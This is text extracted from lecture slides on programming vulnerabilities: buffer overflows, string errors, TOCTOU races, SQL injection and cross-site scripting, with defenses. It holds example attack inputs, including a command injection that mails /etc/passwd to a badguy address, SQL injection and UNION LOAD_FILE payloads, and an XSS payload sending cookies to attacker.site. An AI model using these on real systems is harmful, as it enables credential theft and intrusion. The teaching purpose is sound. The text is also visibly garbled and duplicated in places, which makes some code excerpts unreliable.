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Objectives

 Understand/explain issues related to 
 programming related vulnerabilities and programming related vulnerabilities and 

buffer overflow
 String relatedg
 Race Conditions
 SQL Injection Attacks

 Cross-Site Scripting Attacks
 Some defenses
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String VulnerabilitiesString Vulnerabilities
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C-Style Strings
 Strings are a fundamental concept in software engineering, but 

they are not a built-in type in C or C++.

h l l \0h e l l o \0

length

 C-style strings consist of a contiguous sequence of characters 
terminated by and including the first null character. 
 A pointer to a string points to its initial character. 
 String length is the number of bytes preceding the null character
 The string value is the sequence of the values of the contained 

characters, in order.
The number of bytes required to store a string is the number of
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 The number of bytes required to store a string is the number of 
characters plus one (x the size of each character)



Common String Manipulation 
Errors

 Common errors include
 Unbounded string copiesg p
 Null-termination errors
 Truncation
 Write outside array bounds
 Off-by-one errors

d Improper data sanitization
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Unbounded String Copies
Occur when data is copied from an Occur when data is copied from an 
unbounded source to a fixed length 
character arraycharacter array

1 int main(void) {1. int main(void) {
2. char Password[80];
3. puts("Enter 8 character password:");
4 gets(Password); 1 #include <iostream h>4. gets(Password); 

...
5. }

1. #include <iostream.h>
2. int main(void) {
3. char buf[12];
4. cin >> buf;
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4. cin >> buf;
5. cout<<"echo: "<<buf<<endl;
6. }



Simple Solution

 Test the length of the input using 
strlen() and dynamically allocate the 
memory

1. int main(int argc, char *argv[]) {
2. char *buff = (char *)malloc(strlen(argv[1])+1);
3. if (buff != NULL) {
4. strcpy(buff, argv[1]);
5. printf("argv[1] = %s.\n", buff);
6. }}
7. else {

/* Couldn't get the memory - recover */
8. }
9 return 0;
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9. return 0;
10. } 



Null-Termination Errors

 Another common problem with C-style 
strings is a failure to properly nullstrings is a failure to properly null 
terminate

int main(int argc char* argv[]) {Neither a[] nor b[] areint main(int argc, char* argv[]) {
char a[16];
char b[16];
char c[32];

Neither a[] nor b[] are 
properly terminated

strcpy(a, "0123456789abcdef”);
strcpy(b, "0123456789abcdef");
strcpy(c, a);
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}



String Truncation
 Functions that restrict the number of bytes 

are often recommended to mitigate against 
buffer overflow vulnerabilitiesbuffer overflow vulnerabilities
 Example: strncpy() instead of strcpy()

St i th t d th ifi d li it Strings that exceed the specified limits are 
truncated

 Truncation results in a loss of data, and in some 
t ft l biliticases, to software vulnerabilities
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Improper Data Sanitization
 An application inputs an email address from a 

user and writes the address to a buffer [Viega 
03]03]

sprintf(buffer,
"/bin/mail %s < /tmp/email",
addr

);

 The buffer is then executed using the system() call. 
 The risk is, of course, that the user enters the 

following string as an email address:following string as an email address:

 bogus@addr.com; cat /etc/passwd  | mail some@badguy.net

[Vi 03] Vi J d M M i S P i C kb k f C d C
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 [Viega 03] Viega, J., and M. Messier. Secure Programming Cookbook for C and C++: 
Recipes for Cryptography, Authentication, Networking, Input Validation & More. Sebastopol, 
CA: O'Reilly, 2003. 



What is a Buffer Overflow?
 A buffer overflow occurs when data is written 

outside of the boundaries of the memory allocated to 
a particular data structurea particular data structure

Source

16 Bytes of Data

D ti ti

Source
Memory

Copy 
Operation

Destination
Memory

p
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Allocated Memory (12 Bytes) Other Memory



Buffer Overflows

 Caused when buffer boundaries are 
neglected and uncheckedg

 Buffer overflows can be exploited to 
modify amodify a 
 variable
 data pointer data pointer
 function pointer

return address on the stack
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 return address on the stack



Smashing the Stack

 This is an important class of 
vulnerability because of their frequencyvulnerability because of their frequency
and potential consequences.

 Occurs when a buffer overflow overwrites data in the 
memory allocated to the execution stack. 

 Successful exploits can overwrite the return address on the p
stack allowing execution of arbitrary code on the targeted 
machine.
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Program Stacks
 A program stack is used to keep 

track of program execution and 
t t b t istate by storing

 return address in the calling function
 arguments to the functions 

l l i bl (t )

Code

Data local variables (temporary)

 The stack is modified 
 during function calls

Data

Heap

 function initialization
 when returning from a subroutine

Stack
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Stack



Stack Segment
 The stack supports nested 

invocation calls
 Information pushed on the 

stack as a result of a function

Low memory

Unallocatedstack as a result of a function 
call is called a frame 

Stack frame
for b()

Unallocated

b() {…} A stack frame is 

Stack frame
for a()

for b()() { }
a() {

b();
}

created for each 
subroutine and 
destroyed upon 
return

Stack frame
for main()

}
main() {

a();

return
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High memory}



Stack Frames
 The stack is used to store 

 return address in the calling function
actual arguments to the subroutine actual arguments to the subroutine 

 local (automatic) variables

 The address of the current frame is stored in 
a register (EBP on Intel architectures) 

 The frame pointer is used as a fixed point of 
reference within the stack
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Subroutine Calls

Push 1st arg on
 function(4, 2);

Push 2nd arg on stack

push 4

Push 1st arg on 
stack

ll f ti (411A29h)

push 2

call function (411A29h) Push the return 
address on stack 
and jump to 
addressaddress

17
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Slide 17

rCs1 draw picture of stack on right and put text in action area above registers

also, should create gdb version of this
Robert C. Seacord, 7/6/2004



Subroutine Initialization
void function(int arg1, int arg2) {

push ebp Save the frame pointer

mov ebp, esp Frame pointer for subroutine 
is set to current stack pointer

sub esp, 44h Allocates space for local 
variables



Subroutine Return

 return();
mov esp ebp

Restore the stack pointer

mov esp, ebp

pop ebp
Restore the frame pointer

ret Pops return address off the stack 
and transfers control to that 
locationlocation
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Return to Calling Function
2 function(4, 2);

push 2
push 4push 4
call function (411230h) 
add  esp,8

Restore stack 
pointer



Example Program
bool IsPasswordOK(void) {
char Password[12]; // Memory storage for pwd
gets(Password);    // Get input from keyboard
if (!strcmp(Password,"goodpass")) return(true); // (!st c p( ass o d, goodpass )) etu (t ue); //
Password Good
else return(false); // Password Invalid
}

void main(void) {void main(void) {
bool PwStatus;              // Password Status
puts("Enter Password:");    // Print
PwStatus=IsPasswordOK();    // Get & Check Password
if (PwStatus == false) {if (PwStatus  false) {

puts("Access denied"); // Print
exit(-1);              // Terminate Program

}
else puts("Access granted");// Print
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else puts( Access granted );// Print
}



Stack Before Call to 
IsPasswordOK()

t ("E t P d ")

Code
EIP

puts("Enter Password:"); 
PwStatus=IsPasswordOK();  
if (PwStatus==false) {

puts("Access denied");
e it( 1)exit(-1);

}
else puts("Access 
granted");

St f (4 b t )

Stack
ESP

Storage for PwStatus (4 bytes)

Caller EBP – Frame Ptr OS (4 bytes)

Return Addr of main – OS (4 Bytes)
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…



Stack During IsPasswordOK() Callg

Storage for Password (12 Bytes)
t ("E t P d ")

Stack
ESP

Code

EIP
g ( y )

Caller EBP – Frame Ptr main 
(4 bytes)

Return Addr Caller – main (4 Bytes)

puts("Enter Password:"); 
PwStatus=IsPasswordOK();
if (PwStatus==false) {

puts("Access denied");
e it( 1)

EIP

Storage for PwStatus (4 bytes)

Caller EBP – Frame Ptr OS 
(4 bytes)

exit(-1);
}

else puts("Access granted");

( y )

Return Addr of main – OS (4 Bytes)

…
bool IsPasswordOK(void) {
char Password[12]; 

gets(Password);gets(Password);    
if (!strcmp(Password, "goodpass"))

return(true);
else return(false)
}

Note: The stack grows and 
shrinks as a result of function 
calls made by 
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} IsPasswordOK(void)



Stack After IsPasswordOK() Call()
puts("Enter Password:"); 
PwStatus = IsPasswordOk();
if (P St t f l ) {

EIP
Code

if (PwStatus == false) {
puts("Access denied");
exit(-1);

}}
else puts("Access granted");

Storage for Password (12 Bytes)Stack
Caller EBP – Frame Ptr main 

(4 bytes)

Return Addr Caller – main (4 Bytes)

Stack

ESP ( y )

Storage for PwStatus (4 bytes)

Caller EBP – Frame Ptr OS (4 bytes)

R t Add f i OS (4 B t )

ESP

24

Return Addr of main – OS (4 Bytes)

…



The Buffer Overflow 1

 What happens if we input a 
password with more than 11 
characters ? 
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The Buffer Overflow 2
Storage for Password (12 Bytes)

Stack

bool IsPasswordOK(void) {
char Password[12];

gets(Password);

Storage for Password (12 Bytes)
“123456789012”

Caller EBP – Frame Ptr main 
(4 bytes)

EIP
ESP

if (!strcmp(Password,"badprog"))
return(true);

else return(false)
}

“3456”

Return Addr Caller – main (4 Bytes)
“7890”
Storage for PwStatus (4 bytes)
“\0”

Caller EBP – Frame Ptr OS 
(4 b t )

The return address and other data on 
the stack is over written because the (4 bytes)

Return Addr of main – OS (4 Bytes)

…

the stack is over written because the 
memory space allocated for the 
password can only hold a maximum 11 
character plus the NULL terminator.
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The Vulnerability

 A specially crafted string 
“1234567890123456j►*!” produced the j p
following result.

27

What happened ?



What Happened ?
 “1234567890123456j►*!” 

overwrites 9 bytes of memory 
th t k h i th

Stack
on the stack changing the 
callers return address skipping 
lines 3-5  and starting 
execuition at line 6

Storage for Password (12 Bytes)
“123456789012”

Caller EBP – Frame Ptr main (4 bytes)
“3456”

Return Addr Caller – main (4 Bytes)
“j►*!” (return to line 7 was line 3)

Statement
1 puts("Enter Password:");

2 PwStatus=ISPasswordOK();
Storage for PwStatus (4 bytes)
“\0”

Caller EBP – Frame Ptr OS (4 bytes)

3 if (PwStatus == true)

4 puts("Access denied");

5 exit(-1); ( y )

Return Addr of main – OS (4 Bytes)
6 }

7 else puts("Access granted");
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Note: This vulnerability also could have been exploited to execute 
arbitrary code contained in the input string. 



Race conditionsRace conditions
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Concurrency and Race condition

 Concurrency
 Execution of Multiple flows (threads, processes, 

tasks, etc)
 If not controlled can lead to nondeterministic 

behaviorbehavior

 Race conditions
 Software defect/vulnerability resulting from Software defect/vulnerability resulting from 

unanticipated execution ordering of concurrent 
flows
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 E.g., two people simultaneously try to modify the 
same account (withrawing money)



Race condition

 Necessary properties for a race condition
 Concurrency property

 At least two control flows executing concurrently

 Shared object property
The concurrent flows must access a common shared race The concurrent flows must access a common shared race 
object

 Change state property
 Atleast one control flow must alter the state of the race 

object
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Race window
 A code segment that accesses the race object 

in a way that opens a window of opportunity 
f ditifor race condition
 Sometimes referred to as critical section

 Traditional approach Traditional approach
 Ensure race windows do not overlap

 Make them mutually exclusive
 Language facilities – synchronization primitives (SP)

 Deadlock is a risk related to SP
 Denial of service
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 Denial of service



Time of Check, Time of Use

 Source of race conditions
 Trusted (tightly coupled threads of Trusted (tightly coupled threads of  

execution) or untrusted control flows 
(separate application or process)

 ToCTToU race conditions
 Can occur during file I/O Can occur during file I/O
 Forms a RW by first checking some race 

object and then using it
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object and then using it



Example
int main(int argc, char *argv[]) {( g , g []) {

FILE *fd;  
if (access(“/some_file”, W_OK) == 0) {    

printf("access granted.\n");    
fd = fopen(“/some_file”, "wb+");      
/* it t th fil *//* write to the file */
fclose(fd);      

}  else {    
err(1, "ERROR");  

}  
return 0;

} Figure 7-1

 Assume the program is running with an 
effective UID of root
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TOCTOU

 Following shell commands during RW
rm /some_file
ln /myfile /some_file

 Mitigation
 Replace access() call by code that does the 

following
 Drops the privilege to the real UID Drops the privilege to the real UID
 Open with fopen() & 
 Check to ensure that the file was opened 
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successfully



SQL InjectionsSQL Injections
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Web Applications 

 Three-tier applications

Make queries and updates against the database
Scalability 

issue
37



Web Applications

 N-tier Architecture
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SQL Injection – how it 
happens

 In Web application 
 values received from a Web form, cookie, input 

parameter, etc., are not typically validated before 
passing them to SQL queries to a database server.
 Dynamically built SQL statements Dynamically built SQL statements

 an attacker can control the input that is sent to an 
SQL query and manipulate that input 

 the attacker may be able to execute the code on 
the back-end database.
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HTTP Methods:
Get and Post

 POST
 Sends information pieces to the Web Serverp
 Fill the web form & submit 

<form action="process.php" method="post"><form action="process.php" method="post">
<select name="item">
...
<input name="quantity" type="text" />

<select name="item">
...
<input name="quantity" type="text" />

$quantity = $_POST['quantity'];
$item = $_POST['item'];
$quantity = $_POST['quantity'];
$item = $_POST['item'];
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HTTP Methods:
Get and Post

 GET method
 Requests the server whatever is in the URLq

<form action="process.php" method=“get">
<select name="item">
...

<form action="process.php" method=“get">
<select name="item">
...
<input name="quantity" type="text" /><input name="quantity" type="text" />

$quantity = $_GET['quantity'];$quantity = $_GET['quantity'];
$item = $_GET['item'];$item = $_GET['item'];

At the end of the URL:At the end of the URL:At the end of the URL:

"?item=##&quantity=##" 

At the end of the URL:

"?item=##&quantity=##" 
41



SQL Injection
 http://www.victim.com/products.php?val=100

 To view products less than $100
val is used to pass the value you want to check for val is used to pass the value you want to check for

 PHP Scripts create a SQL statement based on this
// connect to the database
$ l t(“l lh t” “ ” “ d”)$conn = mysql_connect(“localhost”,“username”,“password”);
// dynamically build the sql statement with the input
$query = “SELECT * FROM Products WHERE Price < ‘$_GET[“val”]’ ”.
“ORDER BY ProductDescription”;

// t th i t th d t b// execute the query against the database
$result = mysql_query($query);
// iterate through the record set
// CODE to Display the result

SELECT *
FROM Products
WHERE Price <‘100.00’
ORDER BY ProductDescription;
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SQL Injection
 http://www.victim.com/products.php?val=100’ OR ‘1’=‘1

SELECT *
FROM Products
WHERE Price <‘100.00 OR ‘1’=‘1’
ORDER BY ProductDescription;

The WHERE condition is always true y
So returns all the product !
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SQL Injection

 CMS Application (Content Mgmt System)
 http://www.victim.com/cms/login.php?username=foo&password=bar

// connect to the database
$conn = mysql_connect(“localhost”,“username”,“password”);
// dynamically build the sql statement with the input
$query = “SELECT userid FROM CMSUsers 

WHERE user = ‘$_GET[“user”]’ ”.
“AND password = ‘$_GET[“password”]’”;

// execute the query against the database
$result = mysql_query($query);SELECT userid

$rowcount = mysql_num_rows($result);
// if a row is returned then the credentials must be valid, so
// forward the user to the admin pages

FROM CMSUsers
WHERE user = ‘foo’ AND password = ‘bar’;

if ($rowcount ! = 0){header(“Location: admin.php”);}
// if a row is not returned then the credentials must be invalid
else {die(‘Incorrect username or password, please try again.’)}
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SQL Injection

 CMS Application (content Mgmt System)
http://www.victim.com/cms/login.php?username=foo&password=b

arRemaining code
$rowcount = mysql_num_rows($result);
// if a row is returned then the credentials must be valid, so
// forward the user to the admin pages// forward the user to the admin pages
if ($rowcount ! = 0){header(“Location: admin.php”);}
// if a row is not returned then the credentials must be invalid
else {die(‘Incorrect username or password, please try again.’)}

SELECT userid
O C S

http://www.victim.com/cms/login.php?username=foo&password=bar’ OR ‘1’=’1http://www.victim.com/cms/login.php?username=foo&password=bar’ OR ‘1’=’1

FROM CMSUsers
WHERE user = ‘foo’ AND password = ‘bar ’ ’ OR ‘1’=’1’;
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Dynamic String Building

 PHP code for dynamic SQL string

// a dynamically built sql string statement in PHP
$query = “SELECT * FROM table WHERE field = ‘$_GET[“input”]’”;

 Key issue – no validation
 An attacker can include SQL statement as 

part of the input !!
hi f ll i i d h i d anything following a quote is a code that it needs 

to run and anything encapsulated by a quote is 
data 46



Incorrect Handling of Escape 
Characters

 Be careful with escape characters
 like single-quote (string delimiter)g q ( g )
 E.g. the blank space ( ), double pipe (||), 

comma (,), period (.), (*/), and double-quote 
h t (“) h i l i icharacters (“) have special meanings --- in 

Oracle
-- The pipe [||] character can be used to append a function to a value.
-- The function will be executed and the result cast and concatenated. 
http://victim.com/id=1||utl_inaddr.get_host_address(local)

-- An asterisk followed by a forward slash can be used to terminate ay
-- comment and/or optimizer hint in Oracle
http://victim.com/hint = */ from dual—
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Incorrect Handling of Types
// build dynamic SQL statement
$SQL = “SELECT * FROM table WHERE field = $_GET[“userid”]”;
// execute sql statement
$ lt l ($SQL)

NumericNumeric
$result = mysql_query($SQL);
// check to see how many rows were returned from the database
$rowcount = mysql_num_rows($result);
// iterate through the record set returned
$ 1$row = 1;
while ($db_field = mysql_fetch_assoc($result)) {
if ($row <= $rowcount){
print $db_field[$row]. “<BR>”;
$ro ++$row++;
}
}

INPUT:
1 UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)--

48



UNION Statements

SELECT column-1,column-2,…,column-N FROM table-1
UNION  [ALL]
SELECT column-1 column-2 column-N FROM table-2

 Exploit: 
First part is original query

SELECT column 1,column 2,…,column N FROM table 2

 First part is original query
 Inject UNION and the second part

 Can read any table

Fails or Error if the following not met Fails or Error if the following not met
 The queries must return same # columns
 Data types of the two SELECT should be same (compatible)

 Challenge is finding the # columns
49



Defenses
Parameterization

 Key reason – SQL as String !! (dynamic SQL)
 Use APIs – and include parameters

E l J JDBC Example – Java + JDBC
Connection con = DriverManager.getConnection(connectionString);

String sql = “SELECT * FROM users WHERE username=? AND

Connection con = DriverManager.getConnection(connectionString);

String sql = “SELECT * FROM users WHERE username=? ANDString sql  SELECT  FROM users WHERE username ? AND 
password=?”;

PreparedStatement lookupUser = con.prepareStatement(sql);

String sql  SELECT  FROM users WHERE username ? AND 
password=?”;

PreparedStatement lookupUser = con.prepareStatement(sql);

// Add parameters to SQL query

lookupUser.setString(1, username); // add String to position 1
lookupUser.setString(2, password); // add String to position 2

// Add parameters to SQL query

lookupUser.setString(1, username); // add String to position 1
lookupUser.setString(2, password); // add String to position 2

rs = lookupUser.executeQuery();rs = lookupUser.executeQuery();
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Defenses 
Parameterization

 PHP example with MySQL
$con = new mysqli(“localhost”, “username”, “password”, “db”);$con = new mysqli(“localhost”, “username”, “password”, “db”);y q ( , , p , );
$sql = “SELECT * FROM users WHERE username=? AND password=?”;
$cmd = $con->prepare($sql);

// Add parameters to SQL query

y q ( , , p , );
$sql = “SELECT * FROM users WHERE username=? AND password=?”;
$cmd = $con->prepare($sql);

// Add parameters to SQL query// Add parameters to SQL query
// bind parameters as strings

$cmd->bind_param(“ss”, $username, $password); 

// Add parameters to SQL query
// bind parameters as strings

$cmd->bind_param(“ss”, $username, $password); _
$cmd->execute();

_
$cmd->execute();
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Defenses 
Parameterization

 PL/SQL
DECLARE DECLARE 

username varchar2(32);
password varchar2(32);
result integer;

username varchar2(32);
password varchar2(32);
result integer;

BEGIN 
Execute immediate ‘SELECT count(*) FROM users where 

username=:1 and password=:2’ into result using username, 

BEGIN 
Execute immediate ‘SELECT count(*) FROM users where 

username=:1 and password=:2’ into result using username, 
password;

END;

password;

END;
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Defenses
Validating Input

 Validate compliance to defined types
 Whitelisting: Accept those known to be good
 Blacklisting: Identify bad inputs

 Data type/size/range/content

 Regular expression ^d{5}(-\d{4})?$  [for zipcode]

 Try to filter blacklisted characters (can be evaded)
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Sources for other defenses

 Other approaches available – OWA Security 
Project (www.owasp.org)
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Cross-Site ScriptingCross Site Scripting
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Cross Site Scripting

 XSS : Cross-Site Scripting
 Quite common vulnerability in Web applications
 Allows attackers to insert Malicious Code

 To bypass access 
To launch “phishing” attacks To launch “phishing” attacks

 Cross-Site” -foreign script sent via server to client Cross Site  foreign script sent via server to client
 Malicious script is executed in Client’s Web Browser



Cross Site Scripting

 Scripting: Web Browsers can execute 
commands
 Embedded in HTML page
 Supports different languages (JavaScript, 

VBS i t A ti X t )VBScript, ActiveX, etc.)

Att k i l Attack may involve
 Stealing Access Credentials, Denial-of-Service, 

Modifying Web pages etcModifying Web pages, etc.
 Executing some command at the client machine



Overview of the Attack
<HTML>
<Title>Welcome!</Title>

Hi Mark Anthony<BR> Welcome To Our Page
...
</HTML>

<HTML>
<Title>Welcome!</Title>

Hi Mark Anthony<BR> Welcome To Our Page
...
</HTML>

T tCli t

</HTML></HTML>

N M k A th

Target 
Server

Client page

GET /welcomePage.cgi?name=Mark%20Anthony HTTP/1.0
Host: www.TargetServer.com
GET /welcomePage.cgi?name=Mark%20Anthony HTTP/1.0
Host: www.TargetServer.com

Name = Mark Anthony



Overview of the Attack
<HTML>
<Title>Welcome!</Title>
<HTML>
<Title>Welcome!</Title>

- Opens a browser 
i d

- Opens a browser 
i d<Title>Welcome!</Title>

Hi <script>alert(document.cookie)</script>
<BR> Welcome To Our Page
...
</HTML>

<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>

<BR> Welcome To Our Page
...
</HTML>

window
- All cookie related to 

TargetServer displayed

window
- All cookie related to 

TargetServer displayed

Target 
Server

Client
Server

GET GET 

When clicked

Page with 
link

/welcomePage.cgi?name=<script>alert(document.cookie)</script>  
HTTP/1.0
Host: www.TargetServer.com

/welcomePage.cgi?name=<script>alert(document.cookie)</script>  
HTTP/1.0
Host: www.TargetServer.com

Page has link:
http://www.TargetServer.com/welcome.cgi?name=<script>alert
(document.cookie)</script>

Page has link:
http://www.TargetServer.com/welcome.cgi?name=<script>alert
(document.cookie)</script>

Attacker



Overview of the Attack
 In a real attack – attacker wants all the cookie!!

P h li kP h li kPage has link:
http://www.TargetServer.com/welcomePage.cgi?name=<script>window.open(“http://w
ww.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>

Page has link:
http://www.TargetServer.com/welcomePage.cgi?name=<script>window.open(“http://w
ww.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>

HTMLHTML<HTML>
<Title>Welcome!</Title>
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- Calls collect.cgi at attacker.site
- All cookie related to TargetServer are sent as input to the 

cookie variable

- Calls collect.cgi at attacker.site
- All cookie related to TargetServer are sent as input to the 

cookie variable</HTML></HTML> cookie variable 
- Cookies compromised !!
- Attacker can impersonate the victim at the TargetServer !!

cookie variable 
- Cookies compromised !!
- Attacker can impersonate the victim at the TargetServer !!



Defenses

 Properly sanitize input 
 E g filter out “<“ and “>” E.g., filter out <  and >

 Fireforx Nscript Plugin does it

 But client is not responsible – developers But client is not responsible developers 
need to be careful

 Built-in brower security Built in brower security 
 Selectively disable client-side scripting

Safe browsing practice Safe browsing practice
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